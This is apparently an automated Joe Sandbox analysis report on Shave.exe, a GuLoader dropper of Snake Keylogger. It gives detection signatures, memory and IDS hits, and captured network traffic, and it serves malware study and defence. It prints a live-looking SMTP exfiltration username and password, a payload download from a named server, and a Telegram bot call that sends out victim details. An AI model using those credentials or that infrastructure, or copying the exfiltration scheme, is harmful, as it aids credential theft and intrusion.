Edit tour

Windows Analysis Report
Shave.exe

Overview

General Information

Sample name:	Shave.exe
Analysis ID:	1562047
MD5:	51000c141b602569cf44b0f8bec9ecb8
SHA1:	d7b819dbc26b3e66c99d233c5c7fc86492e626dd
SHA256:	5b19a26d6e86bbcd6d454baee6ae7c77f1c4ca6017ad965eb79098308346f383
Tags:	exeGuLoaderuser-abuse_ch
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Machine Learning detection for sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Shave.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\Shave.exe" MD5: 51000C141B602569CF44B0F8BEC9ECB8)

Shave.exe (PID: 7044 cmdline: "C:\Users\user\Desktop\Shave.exe" MD5: 51000C141B602569CF44B0F8BEC9ECB8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Snake Keylogger

{"Exfil Mode": "SMTP", "Username": "mukesh@cipmach.com", "Password": "mail@2019$", "Host": "mail.cipmach.com", "Port": "587", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3299164468.000000003526B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000000.00000002.2342460807.0000000000AAB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
00000003.00000002.3299164468.0000000035238000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2342825551.0000000004332000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: Shave.exe PID: 1216	JoeSecurity_GuLoader_3	Yara detected GuLoader	Joe Security
Process Memory Space: Shave.exe PID: 7044	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Shave.exe PID: 7044	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 3 entries

Sigma Signatures

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 199.79.63.24, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\Shave.exe, Initiated: true, ProcessId: 7044, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49886

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:08:53.389422+0100	2803305	3	Unknown Traffic	192.168.2.5	49777	172.67.177.134	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:08:49.051470+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49757	193.122.130.0	80	TCP
2024-11-25T07:08:51.707734+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49757	193.122.130.0	80	TCP
2024-11-25T07:08:57.145241+0100	2803274	2	Potentially Bad Traffic	192.168.2.5	49779	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T07:08:42.598864+0100	2803270	2	Potentially Bad Traffic	192.168.2.5	49751	185.244.144.68	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000003.00000002.3299164468.0000000035131000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "mukesh@cipmach.com", "Password": "mail@2019$", "Host": "mail.cipmach.com", "Port": "587", "Version": "4.4"}

Multi AV Scanner detection for submitted file

Source: Shave.exe

Virustotal: Detection: 45%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Shave.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Shave.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49771 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49865 version: TLS 1.2

Source: Shave.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_004065DA FindFirstFileW,FindClose,	0_2_004065DA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_004059A9 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_004059A9
Source: C:\Users\user\Desktop\Shave.exe	Code function: 0_2_00402868 FindFirstFileW,	0_2_00402868
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_00402868 FindFirstFileW,	3_2_00402868
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_004065DA FindFirstFileW,FindClose,	3_2_004065DA
Source: C:\Users\user\Desktop\Shave.exe	Code function: 3_2_004059A9 DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	3_2_004059A9

Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 0015F45Dh	3_2_0015F2C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 0015F45Dh	3_2_0015F4AC
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 0015F45Dh	3_2_0015F52F
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 0015FC19h	3_2_0015F974
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0ECA6h	3_2_04B0E9D8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B09280h	3_2_04B08FB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B07EB5h	3_2_04B07B78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0E386h	3_2_04B0E0B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B00741h	3_2_04B00498
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then mov esp, ebp	3_2_04B0B081
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B06733h	3_2_04B06488
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B00B99h	3_2_04B008F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0C396h	3_2_04B0C0C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B062D9h	3_2_04B06030
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0BF06h	3_2_04B0BC38
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0DEF6h	3_2_04B0DC28
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B032B1h	3_2_04B03008
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B03709h	3_2_04B03460
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B002E9h	3_2_04B00040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B01449h	3_2_04B011A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B018A1h	3_2_04B015F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0CCB6h	3_2_04B0C9E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0C826h	3_2_04B0C558
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B00FF1h	3_2_04B00D48
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0E816h	3_2_04B0E548
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B02151h	3_2_04B01EA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0F5C6h	3_2_04B0F2F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B05179h	3_2_04B04ED0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B07571h	3_2_04B072C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B048C9h	3_2_04B04620
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B06CC1h	3_2_04B06A18
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B07119h	3_2_04B06E70
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B04D21h	3_2_04B04A78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0D146h	3_2_04B0CE78
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0F136h	3_2_04B0EE68
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B01CF9h	3_2_04B01A50
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B02E59h	3_2_04B02BB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0BA76h	3_2_04B0B7A8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0DA66h	3_2_04B0D798
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B05A29h	3_2_04B05780
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0FA56h	3_2_04B0F788
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B05E81h	3_2_04B05BD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B079C9h	3_2_04B07720
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B055D1h	3_2_04B05328
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0B5E6h	3_2_04B0B318
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B025A9h	3_2_04B02300
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B0D5D6h	3_2_04B0D308
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B02A01h	3_2_04B02758
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B36970h	3_2_04B36678
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B36347h	3_2_04B35FD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3FDA8h	3_2_04B3FAB0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B35986h	3_2_04B356B8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B38FB0h	3_2_04B38CB8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3A798h	3_2_04B3A4A0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3154Eh	3_2_04B31280
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B32756h	3_2_04B32488
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3BF80h	3_2_04B3BC88
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3B5F0h	3_2_04B3B2F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3CDD8h	3_2_04B3CAE0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3079Eh	3_2_04B304D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B377C8h	3_2_04B374D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B33996h	3_2_04B336C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3E5C0h	3_2_04B3E2C8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3B128h	3_2_04B3AE30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B33506h	3_2_04B33238
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B354F6h	3_2_04B35228
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3C910h	3_2_04B3C618
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3E0F8h	3_2_04B3DE00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B37300h	3_2_04B37008
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3D768h	3_2_04B3D470
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B34746h	3_2_04B34478
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B38158h	3_2_04B37E60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3EF50h	3_2_04B3EC58
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3030Eh	3_2_04B30040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B39940h	3_2_04B39648
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B31E47h	3_2_04B31BA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B33076h	3_2_04B32DA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3D2A0h	3_2_04B3CFA8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3EA88h	3_2_04B3E790
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B35066h	3_2_04B34D98
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B37C90h	3_2_04B37998
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B39478h	3_2_04B39180
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B310BEh	3_2_04B30DF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B38AE8h	3_2_04B387F0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B322C6h	3_2_04B31FF8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B342B6h	3_2_04B33FE8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3F8E0h	3_2_04B3F5E8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3A2D0h	3_2_04B39FD8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3BAB8h	3_2_04B3B7C0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3DC30h	3_2_04B3D938
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3F418h	3_2_04B3F120
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B38620h	3_2_04B38328
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B319DEh	3_2_04B31710
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B39E08h	3_2_04B39B10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B32BE6h	3_2_04B32918
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B34BD7h	3_2_04B34908
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B30C2Eh	3_2_04B30960
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3AC60h	3_2_04B3A968
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B3C448h	3_2_04B3C150
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B33E26h	3_2_04B33B58
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B36E38h	3_2_04B36B40
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04B35E16h	3_2_04B35B48
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E41FE8h	3_2_04E41CF0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E41190h	3_2_04E40E98
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E40338h	3_2_04E40040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E41B20h	3_2_04E41828
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E40CC8h	3_2_04E409D0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E41658h	3_2_04E41360
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 04E40801h	3_2_04E40508
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then push 00000000h	3_2_379F50C7
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_379F0A10
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_379F0A01
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	3_2_379F0D26
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 38312C19h	3_2_38312968
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831DC51h	3_2_3831D9A8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 383131E0h	3_2_38312DC8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831E0A9h	3_2_3831DE00
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831FAB9h	3_2_3831F810
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_38310040
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831CF49h	3_2_3831CCA0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831D3A1h	3_2_3831D0F8
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 383131E0h	3_2_3831310E
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831D7F9h	3_2_3831D550
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 383131E0h	3_2_38312DC2
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831E501h	3_2_3831E258
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831E959h	3_2_3831E6B0
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 38310D0Dh	3_2_38310B30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 38311697h	3_2_38310B30
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831EDB1h	3_2_3831EB08
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831F209h	3_2_3831EF60
Source: C:\Users\user\Desktop\Shave.exe	Code function: 4x nop then jmp 3831F661h	3_2_3831F3B8

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.5:49886 -> 199.79.63.24:587

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:899552%0D%0ADate%20and%20Time:%2026/11/2024%20/%2019:05:29%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20899552%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 185.244.144.68 185.244.144.68
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View

ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.5:49751 -> 185.244.144.68:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49779 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49757 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49777 -> 172.67.177.134:443

Source: global traffic

TCP traffic: 192.168.2.5:49886 -> 199.79.63.24:587

Source: global traffic	HTTP traffic detected: GET /oxzGOftLtQcGlWZ214.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: mertvinc.com.trCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown

HTTPS traffic detected: 172.67.177.134:443 -> 192.168.2.5:49771 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.75 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
